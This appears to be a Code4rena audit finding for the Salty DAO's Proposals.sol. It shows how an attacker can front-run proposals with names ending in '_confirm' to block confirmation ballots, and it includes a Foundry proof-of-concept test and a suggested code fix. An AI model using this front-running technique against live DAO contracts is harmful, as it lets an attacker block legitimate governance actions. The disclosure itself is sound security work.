c4-bot-1 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102

Vulnerability details

Impact

Since the _possiblyCreateProposal function checks the balloonName to ensure that there is only one proposal with the same name, this mechanism is fine in most cases. However, if the ballotName is not designed well, malicious users can prevent some proposals from being created through front-run.

Specifically,

When the community wants to create a proposal of type SET_CONTRACT, the attacker calls proposeSetContractAddress and adds the _confirm string at the end of the parameter contractName, such as accessManager_confirm, which can lead to DAO Unable to create confirmation proposal of type CONFIRM_SET_CONTRACT.
When the community needs to update the website, the attacker calls proposeWebsiteUpdate and adds the _confirm string at the end of the parameter newWebsiteURL, for example https://tech.salty.io_confirm, then This can cause DAO to be unable to create a confirmation proposal of type CONFIRM_SET_WEBSITE_URL.
When the community decides to Proposes sending a specified amount of SALT to a wallet or contract, the attacker calls proposeSendSALT and sets the amount parameter to an unreasonable value, which will result in the inability to Create proposals that the community anticipates.

Proof of Concept

src/dao/Proposals.sol

    function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID)
        {
        require( block.timestamp >= firstPossibleProposalTimestamp, "Cannot propose ballots within the first 45 days of deployment" );

        ...

        // Make sure that a proposal of the same name is not already open for the ballot
        // [Found] maybe cause a Dos by front-run
        require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
        require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );

        uint256 ballotMinimumEndTime = block.timestamp + daoConfig.ballotMinimumDuration();

        // Add the new Ballot to storage
        ballotID = nextBallotID++;
        ballots[ballotID] = Ballot( ballotID, true, ballotType, ballotName, address1, number1, string1, string2, ballotMinimumEndTime );
        openBallotsByName[ballotName] = ballotID;
        _allOpenBallots.add( ballotID );

        ...

        emit ProposalCreated(ballotID, ballotType, ballotName);
        }

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102

Since _possiblyCreateProposal uses the balloonName to ensure that the proposal is unique, there is the possibility of a malicious user triggering a DoS through front-run.

    function testMaliciousSetContractApproved( uint256 ballotID, string memory contractName, address newAddress) public
        {

        vm.startPrank(alice);
        staking.stakeSALT( 1000000 ether );

        proposals.proposeSetContractAddress( "accessManager", address(0x1111111111111111111111111111111111111112 ), "description" );

        vm.startPrank(DEPLOYER);
        staking.stakeSALT( 1000000 ether);
        console.log("trying to create bad ballot...");
        proposals.proposeSetContractAddress("accessManager_confirm", address(0x1111111111111111111111111111111111111113 ), "bad proposal" );
        console.log("trying to finalize ballot...");
        _voteForAndFinalizeBallot(1, Vote.YES);

        // Above finalization should create a confirmation ballot
        _voteForAndFinalizeBallot(3, Vote.YES);

        vm.stopPrank();
        }

Adding the above test case in src/dao/tests/DAO.t.sol, Will cause DAO to be unable to create a normal confirmation proposal

Tools Used

vscode, foundry test

Recommended Mitigation Steps

Fully consider the design of ballotName and add more detailed information, such as the following code

--- a/src/dao/Proposals.sol
+++ b/src/dao/Proposals.sol
@@ -204,7 +204,9 @@ contract Proposals is IProposals, ReentrancyGuard

                // This ballotName is not unique for the receiving wallet and enforces the restriction of one sendSALT ballot at a time.
                // If more receivers are necessary at once, a splitter can be used.
-               string memory ballotName = "sendSALT";
+               string memory ballotName = string.concat("sendSALT:", Strings.toHexString(address(wallet)));
+               ballotName = string.concat(ballotName, ":");
+               ballotName = string.concat(ballotName, Strings.toString(amount));
                return _possiblyCreateProposal( ballotName, BallotType.SEND_SALT, wallet, amount, "", description );
                }

@@ -242,6 +244,8 @@ contract Proposals is IProposals, ReentrancyGuard
                require( newAddress != address(0), "Proposed address cannot be address(0)" );

                string memory ballotName = string.concat("setContract:", contractName );
+               ballotName = string.concat(ballotName, ":");
+               ballotName = string.concat(ballotName, Strings.toHexString(address(msg.sender )));
                return _possiblyCreateProposal( ballotName, BallotType.SET_CONTRACT, newAddress, 0, "", description );
                }

@@ -251,6 +255,8 @@ contract Proposals is IProposals, ReentrancyGuard
                require( keccak256(abi.encodePacked(newWebsiteURL)) != keccak256(abi.encodePacked("")), "newWebsiteURL cannot be empty" );

                string memory ballotName = string.concat("setURL:", newWebsiteURL );
+               ballotName = string.concat(ballotName, ":");
+               ballotName = string.concat(ballotName, Strings.toHexString(address(msg.sender )));
                return _possiblyCreateProposal( ballotName, BallotType.SET_WEBSITE_URL, address(0), 0, newWebsiteURL, description );
                }

Assessed type

DoS